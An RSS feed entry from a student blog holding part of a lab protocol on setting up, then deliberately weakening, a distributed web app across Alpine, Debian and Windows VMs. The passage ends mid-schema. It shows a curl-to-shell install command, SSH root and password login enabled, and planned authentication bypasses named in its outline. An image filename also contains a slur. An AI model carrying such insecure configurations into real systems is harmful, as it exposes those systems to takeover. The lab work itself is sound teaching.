<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>silly blog</title><link>https://0xveya.github.io/</link><description>Recent content on silly blog</description><generator>Hugo -- 0.147.1</generator><language>en-us</language><lastBuildDate>Mon, 20 Oct 2025 00:00:00 +0100</lastBuildDate><atom:link href="https://0xveya.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>Anti Hardening</title><link>https://0xveya.github.io/posts/itsi/year-4/exercise-1/anti-hardening/</link><pubDate>Mon, 20 Oct 2025 00:00:00 +0100</pubDate><guid>https://0xveya.github.io/posts/itsi/year-4/exercise-1/anti-hardening/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted from Typst to Markdown using AI assistance. The original Typst file can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y4/ex1/main.typ">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y4/ex1/quellen.bib">bibliography&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="exercise-1-anti-hardening">Exercise 1: Anti Hardening&lt;/h1>
&lt;hr>
&lt;p>&lt;strong>Laboratory protocol&lt;/strong>&lt;br>
Exercise 1: Anti Hardening&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y4/ex1/images/fuckingkillmebciamastupidfuckingtr4nnyandputthisbookthere.png"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI&lt;br>
&lt;strong>Class:&lt;/strong> 4AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Dan Eduard Leuska, Justin Tremurici, Stefan Fürst&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> Die Goons / 1&lt;br>
&lt;strong>Supervisor:&lt;/strong> ZIVK, SPAC&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 22.09.25, 29.09.25, 06.10.25, 13.10.25&lt;br>
&lt;strong>Submission date:&lt;/strong> 20.10.25&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setup">Setup&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#architecture">Architecture&lt;/a>&lt;/li>
&lt;li>&lt;a href="#connecting-the-setup-using-tailscale">Connecting the Setup Using Tailscale&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-distros">Choosing Distros&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#how-alpine-is-different-from-debian">How Alpine is different from Debian&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#setting-up-alpine">Setting Up Alpine&lt;/a>&lt;/li>
&lt;li>&lt;a href="#setting-up-debian">Setting Up Debian&lt;/a>&lt;/li>
&lt;li>&lt;a href="#setting-up-windows-server">Setting Up Windows Server&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#setting-up-the-services">Setting Up the Services&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setting-up-postgresql">Setting Up PostgreSQL&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#database-schema">Database Schema&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#setting-up-the-api">Setting Up the API&lt;/a>&lt;/li>
&lt;li>&lt;a href="#setting-up-the-frontend">Setting Up the Frontend&lt;/a>&lt;/li>
&lt;li>&lt;a href="#setting-up-kubernetes">Setting Up Kubernetes&lt;/a>&lt;/li>
&lt;li>&lt;a href="#setting-up-docker-swarm">Setting Up Docker Swarm&lt;/a>&lt;/li>
&lt;li>&lt;a href="#setting-up-smb-share">Setting Up SMB Share&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#making-the-application-insecure">Making the Application Insecure&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#authentication-bypass-via-jwt-parsing">Authentication Bypass via JWT Parsing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#authentication-bypass-via-http-headers">Authentication Bypass via HTTP Headers&lt;/a>&lt;/li>
&lt;li>&lt;a href="#csp-header-misconfiguration">CSP Header Misconfiguration&lt;/a>&lt;/li>
&lt;li>&lt;a href="#hardcoding-secrets">Hardcoding Secrets&lt;/a>&lt;/li>
&lt;li>&lt;a href="#database-listening-on-all-interfaces">Database Listening on All Interfaces&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#making-windows-insecure">Making Windows Insecure&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#changing-the-execution-policy">Changing The Execution Policy&lt;/a>&lt;/li>
&lt;li>&lt;a href="#disabling-windows-defender">Disabling Windows Defender&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#making-linux-insecure">Making Linux Insecure&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#disabling-aslr">Disabling ASLR&lt;/a>&lt;/li>
&lt;li>&lt;a href="#writable-binaries">Writable Binaries&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#how-tools-like-tailscale-help-harden-security">How Tools Like Tailscale Help Harden Security&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>This exercise is about hardening and then anti-hardening server applications and OSes, so a fictional app was created that features the requirements of having a database and a webserver. Everything was hosted on a laptop in VirtualBox with NAT networking and connected over Tailscale as will be further explained in &lt;a href="#connecting-the-setup-using-tailscale">Connecting the Setup Using Tailscale&lt;/a>.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted from Typst to Markdown using AI assistance. The original Typst file can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y4/ex1/main.typ">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y4/ex1/quellen.bib">bibliography</a>.</p></blockquote>
<hr>
<h1 id="exercise-1-anti-hardening">Exercise 1: Anti Hardening</h1>
<hr>
<p><strong>Laboratory protocol</strong><br>
Exercise 1: Anti Hardening<br>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/fuckingkillmebciamastupidfuckingtr4nnyandputthisbookthere.png"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI<br>
<strong>Class:</strong> 4AHITN<br>
<strong>Name:</strong> Dan Eduard Leuska, Justin Tremurici, Stefan Fürst<br>
<strong>Group Name/Number:</strong> Die Goons / 1<br>
<strong>Supervisor:</strong> ZIVK, SPAC<br>
<strong>Exercise dates:</strong> 22.09.25, 29.09.25, 06.10.25, 13.10.25<br>
<strong>Submission date:</strong> 20.10.25</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#summary">Summary</a></li>
<li><a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#setup">Setup</a>
<ul>
<li><a href="#architecture">Architecture</a></li>
<li><a href="#connecting-the-setup-using-tailscale">Connecting the Setup Using Tailscale</a></li>
<li><a href="#choosing-distros">Choosing Distros</a>
<ul>
<li><a href="#how-alpine-is-different-from-debian">How Alpine is different from Debian</a></li>
</ul>
</li>
<li><a href="#setting-up-alpine">Setting Up Alpine</a></li>
<li><a href="#setting-up-debian">Setting Up Debian</a></li>
<li><a href="#setting-up-windows-server">Setting Up Windows Server</a></li>
</ul>
</li>
<li><a href="#setting-up-the-services">Setting Up the Services</a>
<ul>
<li><a href="#setting-up-postgresql">Setting Up PostgreSQL</a>
<ul>
<li><a href="#database-schema">Database Schema</a></li>
</ul>
</li>
<li><a href="#setting-up-the-api">Setting Up the API</a></li>
<li><a href="#setting-up-the-frontend">Setting Up the Frontend</a></li>
<li><a href="#setting-up-kubernetes">Setting Up Kubernetes</a></li>
<li><a href="#setting-up-docker-swarm">Setting Up Docker Swarm</a></li>
<li><a href="#setting-up-smb-share">Setting Up SMB Share</a></li>
</ul>
</li>
<li><a href="#making-the-application-insecure">Making the Application Insecure</a>
<ul>
<li><a href="#authentication-bypass-via-jwt-parsing">Authentication Bypass via JWT Parsing</a></li>
<li><a href="#authentication-bypass-via-http-headers">Authentication Bypass via HTTP Headers</a></li>
<li><a href="#csp-header-misconfiguration">CSP Header Misconfiguration</a></li>
<li><a href="#hardcoding-secrets">Hardcoding Secrets</a></li>
<li><a href="#database-listening-on-all-interfaces">Database Listening on All Interfaces</a></li>
</ul>
</li>
<li><a href="#making-windows-insecure">Making Windows Insecure</a>
<ul>
<li><a href="#changing-the-execution-policy">Changing The Execution Policy</a></li>
<li><a href="#disabling-windows-defender">Disabling Windows Defender</a></li>
</ul>
</li>
<li><a href="#making-linux-insecure">Making Linux Insecure</a>
<ul>
<li><a href="#disabling-aslr">Disabling ASLR</a></li>
<li><a href="#writable-binaries">Writable Binaries</a></li>
</ul>
</li>
<li><a href="#how-tools-like-tailscale-help-harden-security">How Tools Like Tailscale Help Harden Security</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<hr>
<h2 id="summary">Summary</h2>
<p>This exercise is about hardening and then anti-hardening server applications and OSes, so a fictional app was created that features the requirements of having a database and a webserver. Everything was hosted on a laptop in VirtualBox with NAT networking and connected over Tailscale as will be further explained in <a href="#connecting-the-setup-using-tailscale">Connecting the Setup Using Tailscale</a>.</p>
<p>The architecture that was settled on was making a distributed app with a Go API built using the <code>gin</code> framework and a vanilla <code>HTML/CSS/JS</code> frontend served via <code>caddy</code> and served inside of a <code>k3s</code> cluster. The API stores the data in a PostgreSQL database hosted on a single Alpine VM using <code>docker stack</code> in a single-node <code>docker swarm</code> cluster to be able to utilize <code>docker secrets</code>. The DB&rsquo;s data is backed up daily to an SMB share on a Windows server. The app uses a <code>JWT</code> authentication flow with refresh tokens to have a partially stateless authentication system which is easy to run, distributed, and scalable.</p>
<p>The goal was to learn more about distributed systems, authentication, and hardening, which is why this scenario was chosen. The insecure version has two authentication bypasses, one by using bad JWT parsing allowing to log in as different users and a HTTP header to bypass authentication requirements if it says it&rsquo;s from the same IP as the pods. Furthermore, the insecure version has a <code>CSP</code> header that allows <code>unsafe-inline</code> and <code>unsafe-eval</code> which is needed to make the insecure version insecure. In the insecure version secrets were just stored in the Kubernetes manifests and Docker Compose files instead of using each secret management tool.</p>
<p>Each of the insecurities will be evaluated and shown how to mitigate them. Also the insecure database was listening to <code>0.0.0.0</code> which could allow a threat actor to connect to it directly instead of having only the API exposed. Lastly, the focus was more to make the services insecure rather than the OS as their insecurities were mostly the same and more boring to show like allowing SSH root login, using bad passwords, and so on.</p>
<p>Tailscale was also used to show off how to lock down sensitive data transmissions on a separate network layer like for database connections and internal Kubernetes traffic. All in all, the focus was shifted from the OS to the services and the app, as the OS is the most boring part of the setup and the goal was to learn about authentication and distributed systems rather than hardening.</p>
<hr>
<h2 id="complete-network-topology-of-the-exercise">Complete network topology of the exercise</h2>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/itsi-ex1.svg"/> <figcaption>
            Figure 1: Network Topology
        </figcaption>
</figure>

<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="setup">Setup</h3>
<h4 id="architecture">Architecture</h4>
<p>The goal of this exercise is to set up 2 services and make them insecure, so a fictional app was opted for that features the requirements of having a <code>database</code> and a webserver. Everything was hosted on a laptop in VirtualBox with <code>NAT</code> networking and connected over Tailscale as will be further explained in <a href="#connecting-the-setup-using-tailscale">Connecting the Setup Using Tailscale</a>.</p>
<p>The architecture that was settled on was making a distributed app with a Go API build using the <code>gin</code> framework and a vanilla <code>HTML/CSS/JS</code> frontend served via <code>caddy</code> and served inside of a <code>k3s</code> cluster. The API stores the data in a PostgreSQL database hosted on a single Alpine VM using <code>docker stack</code> in a single-node <code>docker swarm</code> cluster to be able to utilize <code>docker secrets</code>. The database is not sharded, as in this case it would be overkill, and the DB&rsquo;s data is backed up daily to an <code>SMB</code> share on a Windows server. The app uses a <code>JWT</code> authentication flow with refresh tokens to have a partially stateless authentication system which is easy to run, distributed, and scalable.</p>
<h4 id="connecting-the-setup-using-tailscale">Connecting the Setup Using Tailscale</h4>
<p>As mentioned before, Tailscale was opted for to connect the setup, as using Kubernetes requires an IP address which would either be static or use domain names, which would not be pleasant to work with in this context. The only viable option would be using the NAT network type, as this would allow an internal consistent IP range and allow internet connectivity; however, this has two drawbacks:</p>
<ul>
<li>On a laptop it would be really inconsistent and after about 30 minutes just crash and require a recreation of the network.</li>
<li>Accessing the VMs would require port forwarding in VirtualBox, so one would end up juggling a lot of ports on localhost and losing track of what ports are what very quickly.</li>
</ul>
<p>Bridge network would not be a solution as the VMs would not be having a static IP binding on the DHCP range of the network the laptop is connected to. Host-only network would not work either due to having no internet access. <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>So Tailscale was opted for, so all the VMs could talk to each other and Magic DNS could be used to access them with convenience from the laptop by just typing in their hostnames. <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> This, however, has the drawback of later not being able to separate the public internet from a private administrative connection, which would be tailscale here, and instead to demonstrate this connecting via localhost is used as there is no other option, but whenever it happens the situation will be explained to make clear when using Tailscale will be like using the internet and when it will be a private administrative connection.</p>
<h4 id="choosing-distros">Choosing Distros</h4>
<p>For the choice of distros Alpine Linux was chosen due to it being extremely lightweight and new packages via the community repository, and Debian for the k3s cluster, as the minimal Alpine setup didn&rsquo;t work well with k3s and rather than spending more time to get it to work Debian was used as it can be trusted to work and be stable as always. The newest release of each distro was used.</p>
<h5 id="how-alpine-is-different-from-debian">How Alpine is different from Debian</h5>
<p>Alpine is a very lightweight distro, built around musl libc and BusyBox. The latter of the two is an implementation of many Unix commands in a single executable file, which is meant for embedded operating systems with very limited resources, which replaces basic functionality of more than 300 commands often used in containers. It has no more than 8 MB and installed to disk requires around 130 MB of storage, but you also get a large selection of packages and a fully fledged distro. <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>It differs from Debian in its init system, which is OpenRC instead of Systemd from Debian, which is bigger and more complex as it has a lot of extra features which really aren&rsquo;t needed here. Additionally by default it&rsquo;s advised to use <code>doas</code> instead of <code>sudo</code> as it is more minimal. All of this makes it very nice to work with and takes fewer resources from my laptop and provides much faster boot times than Debian and not ancient packages like Debian.</p>
<h4 id="setting-up-alpine">Setting Up Alpine</h4>
<p>After downloading the <code>virt</code> image from the Alpine website, which is 65 MB in size, once in VirtualBox the only thing to select is <code>Use EFI</code> under specify virtual hardware and select Linux and Other Linux as OS type. All the other values can be left on default as 1 CPU, 512 MB RAM, and 8 GB disk space is plenty already as shown in [@fig:alpine-vm-settings] <sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/alpine-vm-settings.png"/> <figcaption>
            Figure 2: Alpine VM Settings
        </figcaption>
</figure>

<p>Additionally, to be able to ssh into the VM for the setup, port forwarding was set up in VirtualBox to forward port 22 to 5555 as well as the host to <code>127.0.0.1</code> since it&rsquo;s localhost and the guest IP to <code>10.0.2.15</code> as shown in [@fig:port-forward], as it&rsquo;s the default NAT IP in VirtualBox, so setup can be done using <code>apk add openssh</code>, <code>rc-service sshd start</code>. In case an IP is not obtained on boot, run <code>apk add dhcpcd</code> and <code>setup-interfaces</code>, select all default options, and run <code>rc-service dhcpcd start</code> to get an IP address. <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/port-forward.png"/> <figcaption>
            Figure 3: VirtualBox Port Forwarding
        </figcaption>
</figure>

<p>However, when installing OpenSSH the whole config was commented, so <code>#Port 22</code> and <code>#PermitRootLogin yes</code> had to be uncommented in <code>/etc/ssh/sshd_config</code> to allow root logins and <code>ListenAddress 0.0.0.0</code> and <code>PasswordAuthentication yes</code> and <code>AddressFamily any</code> to allow login to the installer.</p>
<p>Now one can ssh into the VM with <code>ssh root@127.0.0.1 -p 5555</code> and be in the VM and have a good experience installing as well as being able to record the screen using asciinema and then converting the desired frames to an SVG for clean and themable screenshots for this exercise documentation.</p>
<p>Once sshed in the <code>setup-alpine</code> command gets used to install the os which prompts through all the needed steps to get setup with the basics. First, it asks for the hostname. Then it proceeds to networking, where all defaults are used and either DHCP is selected or the IP is set to 10.0.2.15 if desired. Next, it prompts for the desired root password and time zone. Use &ldquo;none&rdquo; for the proxy URL since it is not needed. For the NTP client, select BusyBox because it is used regardless and can save space, as shown in [@fig:alpine-setup-1].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/alpine-setup-1.svg"/> <figcaption>
            Figure 4: running alpine-setup
        </figcaption>
</figure>

<p>The next step asks for which mirror for the package manager to use, where default is selected and then for users select no as users will be created later and then OpenSSH is selected and root login is allowed as there is no other user and lastly the correct disk is selected and accept is hit to finish the installation and reboot into the install as seen in [@fig:alpine-setup-2].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/alpine-setup-2.svg"/> <figcaption>
            Figure 5: Finishing the initial setup of Alpine
        </figcaption>
</figure>

<p>SSH&rsquo;ed into the new install. <code>setup-apk-repos -c</code> is used to add the community repository shown in [@fig:alpine-community-repo] to install the needed packages with <code>apk add fish starship docker doas docker-cli-compose vim jq eza curl</code>. Here is a quick rundown on what each package is for:</p>
<ul>
<li><code>fish</code> is a command-line shell that is similar to <code>bash</code> and <code>zsh</code> but with a lot of features and is very fast.</li>
<li><code>starship</code> is a prompt that shows the current directory, git branch, git status, and git commits and, most importantly for the sake of documentation, displays it neatly where one is SSHed into.</li>
<li><code>docker</code> is a container runtime that is used to run containers.</li>
<li><code>doas</code> is a tool that allows running commands as another user.</li>
<li><code>docker-cli-compose</code> is a tool that allows running Docker Compose commands.</li>
<li><code>vim</code> is a text editor as there is a deep hatred against <code>vi</code>.</li>
<li><code>jq</code> is a tool that allows parsing JSON and pretty printing it for screenshots.</li>
<li><code>eza</code> is <code>ls</code> but with colors and icons and a good tree view.</li>
<li><code>curl</code> is a tool that allows making HTTP requests to install tailscale.</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/apline-add-repo-and-pkgs.svg"/> <figcaption>
            Figure 6: Adding the community repo
        </figcaption>
</figure>

<p>To create the two users, fus-user and fus-admin, the setup-user script is used to create both users, and then <code>adduser fus-admin wheel</code> and <code>addgroup fus-admin docker</code> to first make the user privileged by adding them to the wheel group, which is a Unix concept referencing a user account with the wheel bit, a system setting that provides additional special privileges that empower a user to execute restricted commands that ordinary users cannot access. <sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup> <sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></p>
<p>Lastly, Docker was enabled by <code>rc-service docker start</code>, and then logging in as the fus-admin user and running <code>docker run hello-world</code> to verify Docker is running and the user does not need to be root to run Docker commands. <sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> As shown in [@fig:test-docker].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/verif-docker.svg"/> <figcaption>
            Figure 7: Verifying Docker works
        </figcaption>
</figure>

<p>To grant the user access to run commands with <code>doas</code>, a configuration override is created at <code>/etc/doas.d/20-wheel.conf</code> with <code>permit persist :wheel</code> to allow the user to run <code>doas</code> commands, which can be observed in [@fig:test-doas].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/doas-test.svg"/> <figcaption>
            Figure 8: Verifying doas works
        </figcaption>
</figure>

<p>Lastly for the basic alpine setup, in the admin user <code>fish</code> is run to generate the default config and then at <code>~/.config/fish/config.fish</code> the following is added to enable starship from [@snip:enable-starship-in-fish]. Where the new prompt can be seen after exiting and then reopening fish shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fish" data-lang="fish"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> status is-interactive
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">starship</span> init fish <span style="color:#f92672">|</span> source
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span>
</span></span></code></pre></div><p>[@fig:jq-jerkoff] shows the Starship prompt, and <code>jq</code> is used by curling a GET endpoint from httpbin.org, which is piped into <code>jq</code> to pretty-print the JSON output. <code>jq</code> also allows filtering output with various commands like <code>jq '.url'</code> to show the URL value of the returned JSON object. This can be used with far more depth to filter giant JSON blobs in logs; for example, to make them readable with <code>jq</code>, but here it&rsquo;s only used to pretty print to show the wanted parts of <code>kubectl get -o json</code> commands.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/jq-jerkoff.svg"/> <figcaption>
            Figure 9: showing the starship prompt and jq uses
        </figcaption>
</figure>

<p>Lastly, from the TailScale dashboard under New Device -&gt; Linuxserver, the install script is copied and the <code>sudo</code> swapped with<code>doas</code>, <code>curl -fsSL https://tailscale.com/install.sh | sh &amp;&amp; doas tailscale up --auth-key=tskey-auth-REDACTED</code>, and after this as [@fig:tailscale-jerkoff] verifies the device is added to the tailnet.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/tailscale-1.png"/> <figcaption>
            Figure 10: showing the added server in the tailnet
        </figcaption>
</figure>

<h4 id="setting-up-debian">Setting Up Debian</h4>
<p>Setting up Debian was straightforward as any Debian install, where one just clicks through the installer, only selecting no desktop as well as selecting OpenSSH server as a package and creating an additional user so one doesn&rsquo;t lock oneself out of SSH due to root login being disabled by default. Tailscale was installed the same as on Alpine, just copy-pasting the command from the admin panel. The same was repeated two more times for the agents of the <code>k3s</code> cluster.</p>
<h4 id="setting-up-windows-server">Setting Up Windows Server</h4>
<p>Installing Windows Server was even more straightforward than the two previous installs, as one just clicks Continue and, once rebooted, downloads Tailscale, signs in, and then uses the Chris Titus Tech WinUtil to restore things like the old context menu, disable Bing from the Start menu, and other annoyances.</p>
<h3 id="setting-up-the-services">Setting Up the Services</h3>
<p>Before stating the setup of each service, here is a quick rundown of the app&rsquo;s vision and some details about the services.</p>
<ul>
<li>General idea:
<ul>
<li>List of posts by users, secured by authentication and user signups</li>
<li>Users can create, edit, delete posts, and change their password</li>
<li>Admins can create, edit, delete posts and manage users</li>
</ul>
</li>
<li>Database:
<ul>
<li>&ldquo;Source of truth&rdquo; for all app data and state</li>
</ul>
</li>
<li>API:
<ul>
<li>Authentication and authorization</li>
<li>CRUD operations</li>
</ul>
</li>
<li>Web:
<ul>
<li>Frontend</li>
</ul>
</li>
</ul>
<h4 id="setting-up-postgresql">Setting Up PostgreSQL</h4>
<h5 id="database-schema">Database Schema</h5>
<p>The schema consists of three tables:</p>
<ul>
<li>Users</li>
<li>Posts</li>
<li>Refresh Tokens</li>
</ul>
<p>Each of them has a primary key using a <code>UUIDv7</code> type, which is an extension of UUIDv4 and has all the benefits of UUIDv4, such as avoiding issues with global uniqueness and therefore fitting for distributed systems, as I can just assign an ID without worrying about it being incremental, nor exposing information about the size of the app, etc., where users can see how many users there are; in case of an API hack you can&rsquo;t just enumerate users and an attacker can&rsquo;t easily do something like <code>curl https://some-api/users/1</code> etc. The API backdoor is not useless but, rather, more limited and can mitigate the damage somewhat. <code>UUIDv7</code> uses the first 18 bits to timestamp its creation to make it sortable in databases, which makes it ideal to work with. <sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></p>
<p>The first two lines of the schema are dedicated to the extensions we will use: <code>pgcrypto</code> for hashing and <code>pg_uuidv7</code> for UUIDv7 generation. They are installed using the <code>create extension</code> command, and since only <code>pgcrypto</code> is built-in, I chose to use the Docker image from the maintainer of <code>pg_uuidv7</code> rather than the official Postgres image. Their image just adds the extension on top of PostgreSQL 17, which isn&rsquo;t the newest version but still fine, and saves me from uploading my own image of the latest Postgres to a container registry. <sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">create</span> extension <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">exists</span> pgcrypto;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">create</span> extension <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">exists</span> pg_uuidv7;
</span></span></code></pre></div><p>Lets go through the tables one by one.</p>
<p>As seen in [@snip:users-table], the users table is pretty straightforward with the only thing worth mentioning being the role column, which uses an enum defined above for the users&rsquo; role, which can either be admin or user, constraining it at the database level instead of the application layer. Additionally, the created_at column is kind of useless as I use UUIDv7, but it&rsquo;s there so I can be lazier and just fetch it instead of handling it in the application layer, plus it was there before switching to UUIDv7 and I forgot to remove it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">create</span> <span style="color:#66d9ef">type</span> user_role <span style="color:#66d9ef">as</span> enum (<span style="color:#e6db74">&#39;admin&#39;</span>, <span style="color:#e6db74">&#39;user&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">create</span> <span style="color:#66d9ef">table</span> <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">exists</span> users (
</span></span><span style="display:flex;"><span>  id          uuid <span style="color:#66d9ef">primary</span> <span style="color:#66d9ef">key</span> <span style="color:#66d9ef">default</span> uuid_generate_v7(),
</span></span><span style="display:flex;"><span>  email       text <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span> <span style="color:#66d9ef">unique</span>,
</span></span><span style="display:flex;"><span>  username    text <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>  password    text <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">role</span>        user_role <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span> <span style="color:#66d9ef">default</span> <span style="color:#e6db74">&#39;user&#39;</span>,
</span></span><span style="display:flex;"><span>  created_at  <span style="color:#66d9ef">timestamp</span> <span style="color:#66d9ef">with</span> time <span style="color:#66d9ef">zone</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span> <span style="color:#66d9ef">default</span> now()
</span></span><span style="display:flex;"><span>);
</span></span></code></pre></div><p>The refresh tokens table has the <code>user_id</code> foreign key and the <code>token_hash</code> column, which is a binary representation of the refresh token for the user hashed with <code>sha256</code> in the application layer, needed to compare if a refresh token that was generated by the user&rsquo;s JWT on login is valid or has been revoked or replaced. More about this will be explained in [@sec:explaining-auth]. Additionally, the two indexes are used to make the queries faster, as the <code>user_id</code> index is used to filter the tokens by user, and the <code>expires_at</code> index is used to filter the tokens by expiration date.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">create</span> <span style="color:#66d9ef">table</span> <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">exists</span> refresh_tokens (
</span></span><span style="display:flex;"><span>  id              uuid <span style="color:#66d9ef">primary</span> <span style="color:#66d9ef">key</span> <span style="color:#66d9ef">default</span> uuid_generate_v7(),
</span></span><span style="display:flex;"><span>  user_id         uuid <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span> <span style="color:#66d9ef">references</span> users(id) <span style="color:#66d9ef">on</span> <span style="color:#66d9ef">delete</span> <span style="color:#66d9ef">cascade</span>,
</span></span><span style="display:flex;"><span>  token_hash      bytea <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span> <span style="color:#66d9ef">unique</span>,
</span></span><span style="display:flex;"><span>  created_at      timestamptz <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span> <span style="color:#66d9ef">default</span> now(),
</span></span><span style="display:flex;"><span>  expires_at      timestamptz <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>  revoked_at      timestamptz,
</span></span><span style="display:flex;"><span>  replaced_by_id  uuid <span style="color:#66d9ef">references</span> refresh_tokens(id)
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">create</span> <span style="color:#66d9ef">index</span> <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">exists</span> rt_user_idx <span style="color:#66d9ef">on</span> refresh_tokens (user_id);
